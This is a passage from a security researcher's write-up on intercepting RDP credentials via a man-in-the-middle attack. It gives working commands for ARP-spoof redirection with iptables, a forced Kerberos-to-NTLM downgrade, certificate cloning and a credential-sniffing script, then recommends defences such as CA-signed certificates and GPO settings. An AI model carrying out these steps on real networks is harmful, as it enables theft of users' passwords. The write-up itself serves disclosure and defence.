A workaround that I came up with was to simply tamper with the NTLM response. I changed the Python
script so that the NTLM authentication will always fail by changing the NTLM response. Our victim won’t
notice, because as we just saw, we can downgrade the connection to TLS, after which the credentials will be
retransmitted.

However, there is one more thing we need to take into account. If the client can tell that you are trying to
connect to a domain-joined computer, it will not use NTLM. It will want to use Kerberos, which means it will
contact the domain controller before establishing the RDP connection to request a ticket. That’s a good thing,
because a Kerberos ticket is even more useless to an attacker than a salted NTLM response. But if the attacker
is in a MitM position, he could block all requests to the Kerberos service. And guess what happens if the client
cannot contact the Kerberos service? Exactly, it will fall back to NTLM.
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Weaponizing this attack

The rest is simply a finger exercise. Until now, we have been dealing with a lab environment. The victim won’t
be entering our IP in the RDP client, it will be entering the IP or the host name of their own server. There are a
number of ways to gain a MitM position, but here we will choose ARP spoofing. It is easy enough to do for a
moment to demonstrate this as a proof-of-concept. Since it is a layer-2 attack, we do need to be on the same
subnet as our victim, though.

After we spoofed the ARP replies and enabled forwarding of IPv4 traffic, all communications between the
victim and the gateway will run through our machine. Since we still don’t know the IP address the victim
entered, we can’t run our Python script yet.

First, we create an iptables rule that rejects SYN packets coming from the victim intended for an RDP
server:

1 $ iptables -A FORWARD -p tcp -s "$VICTIM_IP" --syn --dport 3389 -j REJECT

Wewouldn’t want to redirect any other traffic yet, since the victimmight be using an established RDP connection
already, which would get disrupted otherwise. If we wouldn’t reject those packets here, the victim would
actually establish a connection with the genuine host, while we want them to connect to us instead.

Second, we wait for a TCP SYN packet with destination port 3389 from the victim in order to learn the address
of the original destination host. We use tcpdump for this:

1 $ tcpdump -n -c 1 -i "$IFACE" src host "$VICTIM_IP" and \
2 "tcp[tcpflags] & tcp-syn != 0" and \
3 dst port 3389 2> /dev/null | \
4 sed -e 's/.*> \([0-9.]*\)\.3389:.*/\1/'

The -c 1 options tells tcpdump to exit after the first matching packet. This SYN packet will be lost, but that
doesn’t really matter, it will only be a short while before the victim’s system will try again.

Third, we will retrieve the SSL certificate of the RDP server and create a new self-signed certificate that has
the same common name as the original certificate. We could also fix the certificate’s expiration date, and it
will be literally indistinguishable from the original unless you take a long, hard look at its fingerprint. I wrote a
small Bash script [23] to do the job for us.

Now we remove the iptables rule from earlier and redirect all TCP traffic coming from the victim destined
for the genuine RDP host to our IP address:

1 $ iptables -t nat -A PREROUTING -p tcp -d "$ORIGINAL_DEST" \
2 -s "$VICTIM_IP" --dport 3389 -j DNAT --to-destination "$ATTACKER_IP"

To enforce the downgrade from Kerberos to NTLM, we block all TCP traffic originating from the victim to
destination port 88:
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1 $ iptables -A INPUT -p tcp -s "$VICTIM_IP" --dport 88 \
2 -j REJECT --reject-with tcp-reset

At this point we have all the information we need to run our Python script:

1 $ rdp-cred-sniffer.py -c "$CERTPATH" -k "$KEYPATH" "$ORIGINAL_DEST"

Figure 6: Finally! On the left: The victim’s view of a RDP session to the domain controller. On the right: The
attacker’s view of the plain text password. (Please choose a better password than I did for my test
setup.)
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Recommendations

Now you are probably wondering what you, as a system administrator, can do about all of this to keep your
network secure.

First of all, it is absolutely critical that RDP connections cannot happen if the server’s identity cannot be verified,
i.e. if the SSL certificate is not signed by a trusted certificate authority (CA). Youmust sign all server certificates
with your enterprise CA. Clients must be configured via GPO [22] to disallow connections if the certificate
cannot be validated:

Computer configuration→ Policies→ Administrative Templates→Windows Components→ Remote Desktop
Services (or Terminal Services)→ Remote Desktop Connection Client→ Configure server authentication for
client

The question of whether to enforce CredSSP (NLA) on the server side is tricky. For the record, this can also be
rolled out as a group policy [20]:

[Same as above]→ Remote Desktop Session Host (or Terminal Server)→ Security→ Require user authenti-
cation for remote connections by using Network Level Authentication

Since we have seen that the client caches the user’s credentials in case NLA is not possible and conveniently
re-transmit them, we know that these credentials are in memory. Thus, they can be read by an attacker with
SYSTEM privileges, for instance using Mimikatz [24]. This is an incredibly common scenario that we from SySS
see in our customers’ network: compromise one machine, extract clear text credentials of logged on users with
Mimikatz, and move on laterally with the newly compromised account until you find a domain administrator
password. That is why you should only use your personalized domain administrator account on the domain
controller and nowhere else.

But if using RDP to remote into the domain controller leaves traces of a highly privileged account on a
workstation, this is a serious problem. Besides, if you enforce NLA, users who only work on a terminal server
will be locked out if “User must change password at next logon” is enabled. As far as we can tell, the only
advantages of NLA are that it is more convenient, can mitigate denial-of-service attacks since it uses less
resources and that it can protect from network-based attacks on RDP such as MS12-020 [25]. That is why we
at SySS are currently debating whether to recommend to disable NLA for RDP.

In case you want to refrain from using NLA, set the group policy “Require use of specific security layer for
remote connections” to SSL [20].

Another measure you can take to further increase the security of RDP connections is two use a second factor
besides user credentials. There are third party products for this that you may want to look into, at least to
secure critical systems such as the domain controllers.

In case you have Linux machines connecting to Windows Terminal Servers via RDP, I should mention here that
the popular RDP client rdesktop is not capable of NLA and does not validate SSL certificates at all. One
alternative, xfreerdp, does at least validate the certificate.

Lastly, you are encouraged to educate your colleagues and users that SSL warnings are not to be taken lightly,
whether it is in the context of RDP or HTTPS or anything else. As the administrator, you are responsible for
making sure that your client systems have your root CA in their list of trusted CAs. This way, these warnings
should be the exception rather than the rule and warrant a call to the IT department.

If you have any more questions or comments, just let me know.
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Figure 7: A crucial GPO setting: Configure server authentication for client
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